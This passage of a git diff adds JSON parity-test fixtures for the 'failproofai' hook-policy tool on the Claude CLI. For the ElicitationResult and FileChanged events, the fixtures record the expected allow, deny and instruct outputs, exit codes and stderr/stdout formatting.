"parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9401b7ad --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..ccdc6d08 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..37b22e21 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..caae29e4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..cefc19ae --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cad6cb0e --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..659d4afe --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c81a6248 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..df1f8d78 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__one-policy.json new file mode 100644 index 00000000..449fde0d --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__two-policies.json new file mode 100644 index 00000000..201ec981 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..66391f59 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9e04fee6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..46dd92db --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..382810f2 --- /dev/null +++ b/__tests__/parity/fixtures/claude/ElicitationResult/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "ElicitationResult", + "input": { + "event_type": "ElicitationResult", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "ElicitationResult", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "ElicitationResult", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"ElicitationResult\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a16bde45 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d80c1d33 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..134a54b8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..785d9bf8 --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4f97d4ee --- /dev/null +++ b/__tests__/parity/fixtures/claude/FileChanged/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + 